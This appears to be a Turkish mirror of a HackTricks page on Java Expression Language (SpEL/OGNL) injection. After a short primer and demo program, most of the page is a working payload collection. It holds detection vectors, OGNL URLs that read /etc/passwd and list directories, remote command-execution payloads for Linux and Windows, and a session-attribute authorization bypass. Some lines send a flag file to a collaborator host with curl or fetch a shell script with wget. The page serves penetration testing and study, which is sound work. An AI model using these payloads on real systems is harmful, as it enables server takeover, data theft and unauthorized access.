mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
271 lines
15 KiB
Markdown
271 lines
15 KiB
Markdown
# EL - Expression Language
|
||
|
||
{% hint style="success" %}
|
||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>HackTricks'i Destekleyin</summary>
|
||
|
||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
### [WhiteIntel](https://whiteintel.io)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**WhiteIntel**](https://whiteintel.io), bir şirketin veya müşterilerinin **stealer malwares** tarafından **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevsellikler sunan **karanlık ağ** destekli bir arama motorudur.
|
||
|
||
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
|
||
|
||
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
|
||
|
||
{% embed url="https://whiteintel.io" %}
|
||
|
||
***
|
||
|
||
## Temel Bilgiler
|
||
|
||
Expression Language (EL), JavaEE'de sunum katmanı (örneğin, web sayfaları) ile uygulama mantığı (örneğin, yönetilen bean'ler) arasında köprü kurmak için önemlidir ve etkileşimlerini sağlar. Aşağıdaki alanlarda yaygın olarak kullanılır:
|
||
|
||
* **JavaServer Faces (JSF)**: UI bileşenlerini arka uç verileri/eylemleri ile bağlamak için.
|
||
* **JavaServer Pages (JSP)**: JSP sayfaları içinde veri erişimi ve manipülasyonu için.
|
||
* **Java EE için Bağlamlar ve Bağımlılık Enjeksiyonu (CDI)**: Web katmanının yönetilen bean'lerle etkileşimini kolaylaştırmak için.
|
||
|
||
**Kullanım Bağlamları**:
|
||
|
||
* **Spring Framework**: Güvenlik ve Veri gibi çeşitli modüllerde uygulanır.
|
||
* **Genel Kullanım**: JVM tabanlı dillerde (Java, Kotlin ve Scala gibi) geliştiriciler tarafından SpEL API aracılığıyla.
|
||
|
||
EL, JavaEE teknolojilerinde, bağımsız ortamlarda mevcuttur ve `.jsp` veya `.jsf` dosya uzantıları, yığın hataları ve başlıklardaki "Servlet" gibi terimlerle tanınabilir. Ancak, bazı özellikleri ve belirli karakterlerin kullanımı sürüm bağımlı olabilir.
|
||
|
||
{% hint style="info" %}
|
||
**EL sürümüne** bağlı olarak bazı **özellikler** **Açık** veya **Kapalı** olabilir ve genellikle bazı **karakterler** **yasaklanmış** olabilir.
|
||
{% endhint %}
|
||
|
||
## Temel Örnek
|
||
|
||
(EL hakkında başka ilginç bir eğitimi [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) adresinde bulabilirsiniz.)
|
||
|
||
[**Maven**](https://mvnrepository.com) deposundan aşağıdaki jar dosyalarını indirin:
|
||
|
||
* `commons-lang3-3.9.jar`
|
||
* `spring-core-5.2.1.RELEASE.jar`
|
||
* `commons-logging-1.2.jar`
|
||
* `spring-expression-5.2.1.RELEASE.jar`
|
||
|
||
Ve aşağıdaki `Main.java` dosyasını oluşturun:
|
||
```java
|
||
import org.springframework.expression.Expression;
|
||
import org.springframework.expression.ExpressionParser;
|
||
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||
|
||
public class Main {
|
||
public static ExpressionParser PARSER;
|
||
|
||
public static void main(String[] args) throws Exception {
|
||
PARSER = new SpelExpressionParser();
|
||
|
||
System.out.println("Enter a String to evaluate:");
|
||
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
|
||
String input = stdin.readLine();
|
||
Expression exp = PARSER.parseExpression(input);
|
||
String result = exp.getValue().toString();
|
||
System.out.println(result);
|
||
}
|
||
}
|
||
```
|
||
Sonra kodu derleyin (eğer `javac` yüklü değilse, `sudo apt install default-jdk` komutunu yükleyin):
|
||
```java
|
||
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
||
```
|
||
Uygulamayı şu şekilde çalıştırın:
|
||
```java
|
||
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
|
||
Enter a String to evaluate:
|
||
{5*5}
|
||
[25]
|
||
```
|
||
Not edin ki önceki örnekte `{5*5}` terimi **değerlendirildi**.
|
||
|
||
## **CVE Tabanlı Eğitim**
|
||
|
||
Bunu **bu yazıda** kontrol edin: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||
|
||
## Payloadlar
|
||
|
||
### Temel eylemler
|
||
```bash
|
||
#Basic string operations examples
|
||
{"a".toString()}
|
||
[a]
|
||
|
||
{"dfd".replace("d","x")}
|
||
[xfx]
|
||
|
||
#Access to the String class
|
||
{"".getClass()}
|
||
[class java.lang.String]
|
||
|
||
#Access ro the String class bypassing "getClass"
|
||
#{""["class"]}
|
||
|
||
#Access to arbitrary class
|
||
{"".getClass().forName("java.util.Date")}
|
||
[class java.util.Date]
|
||
|
||
#List methods of a class
|
||
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
|
||
[public boolean java.util.Date.equals(java.lang.Object)]
|
||
```
|
||
### Tespit
|
||
|
||
* Burp tespiti
|
||
```bash
|
||
gk6q${"zkz".toString().replace("k", "x")}doap2
|
||
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
|
||
```
|
||
* J2EE tespiti
|
||
```bash
|
||
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
|
||
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
|
||
```
|
||
* 10 saniye bekle
|
||
```bash
|
||
#Blind detection vector (sleep during 10 seconds)
|
||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
|
||
```
|
||
### Uzak Dosya Dahil Etme
|
||
```bash
|
||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
|
||
```
|
||
### Dizin Listeleme
|
||
```bash
|
||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
|
||
```
|
||
### RCE
|
||
|
||
* Temel RCE **açıklaması**
|
||
```bash
|
||
#Check the method getRuntime is there
|
||
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
|
||
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
|
||
|
||
#Execute command (you won't see the command output in the console)
|
||
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
|
||
[Process[pid=10892, exitValue=0]]
|
||
|
||
#Execute command bypassing "getClass"
|
||
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
|
||
|
||
# With HTMl entities injection inside the template
|
||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||
```
|
||
* RCE **linux**
|
||
```bash
|
||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||
```
|
||
* RCE **Windows** (test edilmedi)
|
||
```bash
|
||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||
```
|
||
* **Daha Fazla RCE**
|
||
```java
|
||
// Common RCE payloads
|
||
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
|
||
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
|
||
|
||
// Method using Runtime via getDeclaredConstructors
|
||
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
|
||
#{session.getAttribute("rtc").setAccessible(true)}
|
||
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
|
||
|
||
// Method using processbuilder
|
||
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
|
||
${request.getAttribute("c").add("cmd.exe")}
|
||
${request.getAttribute("c").add("/k")}
|
||
${request.getAttribute("c").add("ping x.x.x.x")}
|
||
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
|
||
${request.getAttribute("a")}
|
||
|
||
// Method using Reflection & Invoke
|
||
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
|
||
|
||
// Method using ScriptEngineManager one-liner
|
||
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
|
||
|
||
// Method using ScriptEngineManager
|
||
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
|
||
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
|
||
|
||
//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
|
||
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
|
||
T(java.lang.System).getenv()[0]
|
||
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
|
||
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
|
||
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
|
||
```
|
||
### Ortamı İnceleme
|
||
|
||
* `applicationScope` - global uygulama değişkenleri
|
||
* `requestScope` - istek değişkenleri
|
||
* `initParam` - uygulama başlatma değişkenleri
|
||
* `sessionScope` - oturum değişkenleri
|
||
* `param.X` - X'in bir http parametresi adı olduğu param değeri
|
||
|
||
Bu değişkenleri String'e dönüştürmeniz gerekecek:
|
||
```bash
|
||
${sessionScope.toString()}
|
||
```
|
||
#### Yetkilendirme atlatma örneği
|
||
```bash
|
||
${pageContext.request.getSession().setAttribute("admin", true)}
|
||
```
|
||
Uygulama ayrıca şu gibi özel değişkenler de kullanabilir:
|
||
```bash
|
||
${user}
|
||
${password}
|
||
${employee.FirstName}
|
||
```
|
||
## WAF Bypass
|
||
|
||
Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
||
|
||
## References
|
||
|
||
* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
|
||
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
|
||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||
|
||
### [WhiteIntel](https://whiteintel.io)
|
||
|
||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** tarafından desteklenen bir arama motorudur ve bir şirketin veya müşterilerinin **çalıntı kötü amaçlı yazılımlar** tarafından **tehdit edilip edilmediğini** kontrol etmek için **ücretsiz** işlevsellikler sunar.
|
||
|
||
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
|
||
|
||
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
|
||
|
||
{% embed url="https://whiteintel.io" %}
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|